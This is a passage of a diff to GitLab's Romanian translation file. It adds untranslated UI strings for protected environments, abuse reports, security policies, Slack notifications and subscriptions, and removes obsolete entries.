+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -32518,6 +33097,9 @@ msgstr "Declanșează evenimentul atunci când se schimbă starea unui pipeline.
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr "Declanșează evenimentul atunci când o pagină wiki este creată sau actualizată."
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr "Declanșează evenimentul atunci când o problemă este creată, actualizată sau închisă."
@@ -32593,9 +33175,6 @@ msgstr "Combinați etichetele git cu notele de lansare, dovezile de lansare și
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "Configurați resursele proiectului și monitorizați starea lor de sănătate."
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Contactați un administrator pentru a schimba această setare."
@@ -32767,9 +33346,6 @@ msgstr "Numai la commit-urile care includ un element %{code_block_start}Semnat-d
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Numai la commit-urile semnate se poate face push către acest repozitoriu."
-msgid "ProjectSettings|Operations"
-msgstr "Operațiuni"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr "Suprascrie preferințele de notificare ale utilizatorilor pentru toți membrii proiectului."
@@ -32920,12 +33496,12 @@ msgstr "Utilizat pentru fiecare nou merge request."
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "Utilizatorii pot copia repozitoriul într-un nou proiect."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
+msgstr ""
+
msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr "Utilizatorii pot face push de commit-uri în acest repozitoriu doar dacă adresa de e-mail a comitentului este una dintre adresele lor de e-mail verificate."
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
-msgstr ""
-
msgid "ProjectSettings|Users can request access"
msgstr "Utilizatorii pot solicita acces"
@@ -33055,6 +33631,9 @@ msgstr "Framework Serverless/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr "Tencent Serverless Framework/NextjsSSR"
@@ -33679,6 +34258,24 @@ msgstr "Puteți adăuga numai grupurile care au acest proiect partajat. %{learn_
msgid "ProtectedBranch|default"
msgstr "implicit"
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} va putea fi editat de dezvoltatori. Sunteți sigur?"
@@ -33691,6 +34288,9 @@ msgstr "Autorizat să desfășoare"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr "Se permite implementarea în %{project} / %{environment}"
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "Mediu"
@@ -33727,6 +34327,9 @@ msgstr "Aprobările necesare"
msgid "ProtectedEnvironment|Select an environment"
msgstr "Alegeți un mediu"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr "Selectați grupurile"
@@ -34459,6 +35062,9 @@ msgstr "Puteți modifica ulterior conținutul prin editarea versiunii. %{linkSta
msgid "Reload page"
msgstr "Reîncărcați pagina"
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr "Remedieri"
@@ -34726,9 +35332,6 @@ msgstr "Redați diagrame în documentele dvs. utilizând PlantUML."
msgid "Renew subscription"
msgstr "Reînnoiți abonamentul"
-msgid "Renews"
-msgstr "Reînnoiește"
-
msgid "Reopen"
msgstr "Redeschideți"
@@ -34786,9 +35389,6 @@ msgstr "Toate etichetele au fost înlocuite cu %{label_references} %{label_text}
msgid "Replaces the clone URL root."
msgstr "Înlocuiește rădăcina URL a clonei."
-msgid "Replication"
-msgstr "Replicare"
-
msgid "Reply"
msgstr "Răspuns"
@@ -34825,6 +35425,33 @@ msgstr "Versiunea raportului nu este furnizată, tipul de raport %{report_type}
msgid "Report your license usage data to GitLab"
msgstr "Raportați datele de utilizare a licenței dvs. către GitLab"
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Raportat(ă) %{timeAgo} de %{reportedBy}"
@@ -35785,7 +36412,7 @@ msgstr "Introduceți numărul de secunde. Acest timp de expirare are prioritate
msgid "Runners|Executor"
msgstr "Executor"
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36160,8 +36787,8 @@ msgstr "Windows 2019 Shell cu scalare manuală și programare opțională. Non-s
msgid "Runners|Yes, start deleting stale runners"
msgstr "Da, începeți să ștergeți executorii inactivi"
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
-msgstr "Puteți configura un anumit executor pentru a fi utilizat de mai multe proiecte, dar nu puteți face din acesta un executor partajat."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
+msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "Ați folosit %{quotaUsed} din cele %{quotaLimit} de minute ale dvs. de pipeline de executori partajați."
@@ -36367,6 +36994,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr "Se execută un pipeline"
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr "Profil de scaner"
@@ -36391,9 +37024,6 @@ msgstr "Selectați profilul scanerului"
msgid "ScanExecutionPolicy|Select site profile"
msgstr "Selectați profilul site-ului"
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr "Profil de site"
@@ -36409,6 +37039,9 @@ msgstr "ramura"
msgid "ScanExecutionPolicy|in namespaces"
msgstr "în spațiile de nume"
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr "%{ifLabelStart}dacă%{ifLabelEnd} %{scanners} găsește mai mult de %{vulnerabilitiesAllowed} (de) vulnerabilitate/vulnerabilități %{severities} %{vulnerabilityStates} într-un merge request deschis care vizează %{branches}"
@@ -36418,12 +37051,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr "%{thenLabelStart}Atunci%{thenLabelEnd} Necesită aprobare de la %{approvalsRequired} dintre următorii aprobatori:"
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr "adăugați un aprobator"
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr "scanere"
@@ -36616,9 +37273,6 @@ msgstr "Căutați un proiect"
msgid "Search projects"
msgstr "Căutați proiecte"
-msgid "Search projects..."
-msgstr "Căutare proiecte..."
-
msgid "Search protected branches"
msgstr "Căutare ramuri protejate"
@@ -36997,6 +37651,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr "%{scanners}"
@@ -37018,6 +37681,9 @@ msgstr "Acțiuni"
msgid "SecurityOrchestration|Add action"
msgstr "Adăugare acțiune"
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr "Adăugare regulă"
@@ -37297,8 +37963,8 @@ msgstr "Etapa 2: Detaliile politicii"
msgid "SecurityOrchestration|Summary"
msgstr "Rezumat"
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
-msgstr "Următoarele ramuri nu există în acest proiect de dezvoltare: %{branches}. Vă rugăm să revizuiți toate ramurile pentru a vă asigura că valorile sunt corecte înainte de a actualiza această politică."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
+msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr "A apărut o problemă în timpul creării noii politici de securitate"
@@ -37360,12 +38026,12 @@ msgstr "Nu aveți încă nicio politică de securitate"
msgid "SecurityOrchestration|a"
msgstr "a"
-msgid "SecurityOrchestration|all branches"
-msgstr "toate ramurile"
-
msgid "SecurityOrchestration|all namespaces"
msgstr "toate spațiile de nume"
+msgid "SecurityOrchestration|all protected branches"
+msgstr ""
+
msgid "SecurityOrchestration|an"
msgstr "un"
@@ -37378,6 +38044,9 @@ msgstr "ramuri"
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr "scaner găsește"
@@ -37447,9 +38116,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr "Deși este rar să nu existe vulnerabilități, acest lucru se poate întâmpla. Verificați setările pentru a vă asigura că v-ați configurat corect tabloul de bord."
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr "La GitLab, totul se bazează pe iterație și feedback. De aceea, ne adresăm clienților ca dvs. pentru a ne ajuta să ne ghidăm la ceea ce vom lucra în acest an pentru Managementul vulnerabilităților. Avem o mulțime de idei interesante și vă rugăm să ne ajutați răspunzând la un scurt sondaj %{boldStart}care nu durează mai mult de 10 minute%{boldEnd} pentru a evalua câteva dintre caracteristicile noastre potențiale."
-
msgid "SecurityReports|Change status"
msgstr "Schimbați starea"
@@ -37669,9 +38335,6 @@ msgstr "Încă se detectează"
msgid "SecurityReports|Submit vulnerability"
msgstr "Trimiteți vulnerabilitatea"
-msgid "SecurityReports|Take survey"
-msgstr "Participați la sondaj"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr "Raportul de vulnerabilitate prezintă rezultatele scanărilor reușite pe ramura implicită a proiectului dvs., înregistrările de vulnerabilități adăugate manual și vulnerabilitățile găsite în urma scanării mediilor operaționale. %{linkStart}Aflați mai multe.%{linkEnd}"
@@ -37699,6 +38362,9 @@ msgstr "A apărut o eroare la respingerea vulnerabilităților."
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "A apărut o eroare la ignorarea vulnerabilității."
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr "A apărut o eroare la anularea respingerii."
@@ -37729,9 +38395,6 @@ msgstr "Actualizați pentru a interacționa, a urmări și a începe din timp te
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr "Actualizați pentru a gestiona vulnerabilitățile"
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr "Sondaj privind funcția de Gestionare a vulnerabilităților"
-
msgid "SecurityReports|Vulnerability Report"
msgstr "Raport de vulnerabilitate"
@@ -37750,9 +38413,6 @@ msgstr "Nu aveți suficiente permisiuni pentru a accesa acest raport"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "Trebuie să vă conectați ca utilizator autorizat pentru a vedea acest raport"
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr "Feedbackul dvs. este important pentru noi! Vom întreba din nou peste o săptămână."
-
msgid "SecurityReports|scanned resources"
msgstr "resurse scanate"
@@ -38533,6 +39193,9 @@ msgstr "Afișați browserul de fișiere"
msgid "Show file contents"
msgstr "Afișați conținutul fișierului"
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr "Afișați obiectivele grupului"
@@ -38749,9 +39412,6 @@ msgstr "Pagina de autentificare și de Ajutor"
msgid "Sign-in count:"
msgstr "Număr de conectări:"
-msgid "Sign-in failed because %{error}."
-msgstr "Înregistrarea a eșuat deoarece %{error}."
-
msgid "Sign-in page"
msgstr "Pagina de conectare"
@@ -38878,9 +39538,6 @@ msgstr "GitLab pentru Slack a fost instalat cu succes."
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr "Aliasul proiectului"
@@ -38911,6 +39568,12 @@ msgstr "Această integrare permite utilizatorilor să efectueze operații comune
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr "Token de verificare"
@@ -38938,11 +39601,11 @@ msgstr "Completați cuvântul care se potrivește cel mai bine echipei dumneavoa
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr "Efectuați operații comune în acest proiect introducând comenzi slash în Slack."
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
-msgstr "%{asterisk}Etapa 1.%{asterisk} Conectați-vă contul GitLab pentru a începe."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
+msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
-msgstr "%{asterisk}Etapa 2.%{asterisk} Încercați-l!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
+msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
msgstr "%{emoji}Conectat la contul GitLab %{account}"
@@ -38953,23 +39616,17 @@ msgstr "%{emoji}Bine ați venit la GitLab pentru Slack!"
msgid "Slack|Connect your GitLab account"
msgstr "Conectează-ți contul GitLab"
-msgid "Slack|Create a new issue"
-msgstr "Creați o nouă problemă"
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr "Creați probleme noi din Slack: %{command}"
-
-msgid "Slack|Run a CI/CD job"
-msgstr "Rulați o sarcină CI/CD"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
+msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr "Vedeți o listă de comenzi disponibile: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
+msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr "Simplificați-vă implementările GitLab cu ChatOps. După ce v-ați configurat %{startMarkup}pipeline-urile CI/CD%{endMarkup}, încercați: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
+msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
-msgstr "Vizualizați și controlați conținutul GitLab în timp ce lucrați în Slack. Introduceți comanda ca mesaj în clientul dvs. de chat pentru a o activa. %{startMarkup}Aflați mai multe%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
+msgstr ""
msgid "Slice multiplier"
msgstr "Multiplicator de tranșe"
@@ -39466,6 +40123,12 @@ msgstr "IP sursă"
msgid "Source branch"
msgstr "Ramura sursă"
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr "Ramura sursă va fi ștearsă."
@@ -39661,15 +40324,15 @@ msgstr "Începeți un %{new_merge_request}} cu aceste modificări"
msgid "Start a Free Ultimate Trial"
msgstr "Începeți o perioadă de încercare gratuită Ultimate"
-msgid "Start a new discussion…"
-msgstr "Începeți o nouă discuție…"
-
msgid "Start a new merge request with these changes"
msgstr "Începeți un nou merge request cu aceste modificări"
msgid "Start a review"
msgstr "Începeți o revizuire"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Începeți prin a alege un grup pentru a explora merge request-urile din acel grup. Apoi puteți trece la filtrarea în funcție de proiecte, etichete, etape și autori."
@@ -40159,18 +40822,36 @@ msgstr "Contorizarea utilizării se efectuează o dată pe zi, la ora 12:00 PM."
msgid "Subscriptions"
msgstr "Abonamente"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr "Chat cu vânzările"
msgid "Subscriptions|Close"
msgstr "ÃŽnchide"
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr "Nu sunteți încă gata să cumpărați?"
msgid "Subscriptions|Start a free trial"
msgstr "Începeți o perioadă de încercare gratuită"
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr "Vă înțelegem. Probabil că aveți câteva întrebări pentru echipa noastră de vânzări sau poate că doriți să încercați mai întâi unele dintre funcțiile plătite. Ce ați dori să faceți?"
@@ -40387,6 +41068,9 @@ msgstr "Activarea nu este posibilă din cauza unei nepotriviri de seat-uri"
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr "Activarea nu este posibilă din cauza nepotrivirii valorii true-up"
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr "A apărut o eroare la adăugarea abonamentului dumneavoastră"
@@ -40405,8 +41089,8 @@ msgstr "Licențiere în cloud"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr "Licențierea în cloud este acum disponibilă. Este o modalitate mai ușoară de a activa instanțele și de a gestiona abonamentele. Citiți mai multe despre aceasta în %{blogPostLinkStart}postarea de pe blogul%{blogPostLinkEnd} nostru. Codurile de activare sunt disponibile în %{portalLinkStart}Portalul clienților%{portalLinkEnd}."
-msgid "SuperSonics|Enter activation code"
-msgstr "Introduceți codul de activare"
+msgid "SuperSonics|Customers Portal"
+msgstr ""
msgid "SuperSonics|Export license usage file"
msgstr "Exportați fișierul de utilizare a licenței"
@@ -40426,9 +41110,6 @@ msgstr "Aflați mai multe despre %{activationLinkStart}activarea abonamentului d
msgid "SuperSonics|Licensed to"
msgstr "Licențiat pentru"
-msgid "SuperSonics|Manage"
-msgstr "Gestionați"
-
msgid "SuperSonics|Maximum users"
msgstr "Număr maxim de utilizatori"
@@ -40918,15 +41599,6 @@ msgstr "poate fi setat numai o singură dată"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr "poate fi setat numai cu mai mult de %{percentage}%% utilizare"
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr "GitLab vă permite o %{strongStart}unică creștere gratuită a capacității de stocare%{strongEnd}. Timp de 30 de zile, spațiul dvs. de stocare va fi nelimitat. Acest lucru vă oferă timp pentru a vă reduce utilizarea spațiului de stocare. După 30 de zile, se aplică limita de stocare inițială de %{limit}. Dacă sunteți la capacitatea maximă de stocare, contul dvs. va fi doar în citire. Pentru a continua să utilizați GitLab va trebui să achiziționați spațiu de stocare suplimentar sau să reduceți utilizarea spațiului de stocare."
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr "Măriți temporar stocarea"
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr "Măriți temporar spațiul de stocare acum?"
-
msgid "Terminal"
msgstr "Terminal"
@@ -40957,6 +41629,21 @@ msgstr "Backend-ul de stare Terraform gestionat de GitLab vă poate stoca starea
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr "Folosiți Terraform? Încercați Starea Terraform administrată de GitLab"
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} a fost înlăturat cu succes"
@@ -41227,9 +41914,6 @@ msgstr "Nu au fost găsite cazuri de testare în raportul de testare."
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr "Rapoartele de testare necesită artefacte de job, dar toate artefactele sunt expirate. %{linkStart}Aflați mai multe%{linkEnd}"
-msgid "TestReports|Tests"
-msgstr "Teste"
-
msgid "TestReports|There are no test cases to display."
msgstr "Nu există cazuri de testare de afișat."
@@ -41485,6 +42169,9 @@ msgstr[0] "Următorul token de acces personal: %{token_names} a fost revocat, de
msgstr[1] "Următoarele tokenuri de acces personal: %{token_names} au fost revocate, deoarece a fost setată o nouă politică de expirare a tokenurilor de acces personal."
msgstr[2] "Următoarele tokenuri de acces personal: %{token_names} au fost revocate, deoarece a fost stabilită o nouă politică de expirare a tokenurilor de acces personal."
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "Relația fork a fost eliminată."
@@ -41635,6 +42322,9 @@ msgstr "Numele fișierului de configurare CI/CD. Calea relativă la directorul r
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr "Numele proiectului Jenkins. Copiați numele de la sfârșitul URL-ului în proiect."
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr "Numărul de modificări care trebuie preluate din GitLab atunci când se clonează un repozitoriu. Valorile mai mici pot accelera execuția pipeline-ului. Setați la %{code_open}0%{code_close} sau necompletat pentru a prelua toate ramurile și etichetele pentru fiecare lucrare."
@@ -41839,6 +42529,9 @@ msgstr "Nu există jurnale de spam"
msgid "There are no abuse reports!"
msgstr "Nu există rapoarte de abuz!"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "Nu există cerințe arhivate"
@@ -42187,6 +42880,9 @@ msgstr "Link de consultanță terță parte"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Acest/această %{issuableDisplayName} este blocat(ă). Numai membrii proiectului pot comenta."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "Acest/această %{issuable} este blocat(ă). Numai %{strong_open}membrii proiectului%{strong_close} pot comenta."
@@ -42289,21 +42985,27 @@ msgstr "Acest comentariu s-a modificat după ce ați început să-l editați. Re
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Acest commit face parte din merge request-ul %{link_to_merge_request}. Comentariile create aici vor fi create în contextul acestui merge request."
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr "Acest commit a fost semnat cu semnături %{strong_open}multiple%{strong_close}."
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "Acest commit a fost semnat cu o semnătură %{strong_open}verificată%{strong_close} și s-a verificat că adresa de e-mail a celui care a făcut comiterea aparține aceluiași utilizator."
msgid "This commit was signed with a different user's verified signature."
msgstr "Acest commit a fost semnat cu semnătura verificată a unui alt utilizator."
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr "Acest commit a fost semnat cu o semnătură verificată, dar adresa de e-mail a autorului nu este legată de cheia GPG."
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "Acest commit a fost semnat cu o semnătură %{strong_open}neverificată%{strong_close}."
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "Acest conținut nu a putut fi afișat deoarece %{reason}. În schimb, puteți %{options}."
@@ -42526,6 +43228,9 @@ msgstr "Acest job nu are nicio urmă."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr "Acest job nu se execută automat și trebuie să fie pornit manual, dar nu aveți acces la el."
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Acest job a fost anulat"
@@ -42601,9 +43306,6 @@ msgstr "Acest job așteaptă resurse: "
msgid "This job requires a manual action"
msgstr "Acest job necesită o acțiune manuală"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr "Acest job necesită o intervenție manuală pentru a începe. Înainte de a porni acest job, puteți adăuga variabilele de mai jos pentru modificări de ultim moment ale configurației."
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr "Acest job se va executa automat după finalizarea temporizatorului său. Adesea, acestea sunt utilizate pentru implementări incrementale în mediile de producție. Atunci când este neprogramat, se transformă într-o acțiune manuală."
@@ -42808,7 +43510,7 @@ msgstr "Acest utilizator este autorul acestui/acestei %{noteable}."
msgid "This variable can not be masked."
msgstr "Această variabilă nu poate fi mascată."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43252,6 +43954,12 @@ msgstr "Pentru a ajuta la îmbunătățirea GitLab, am dori ca periodic să %{do
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "Pentru a importa un repozitoriu SVN, consultați %{svn_link}."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "To keep this project going, create a new issue"
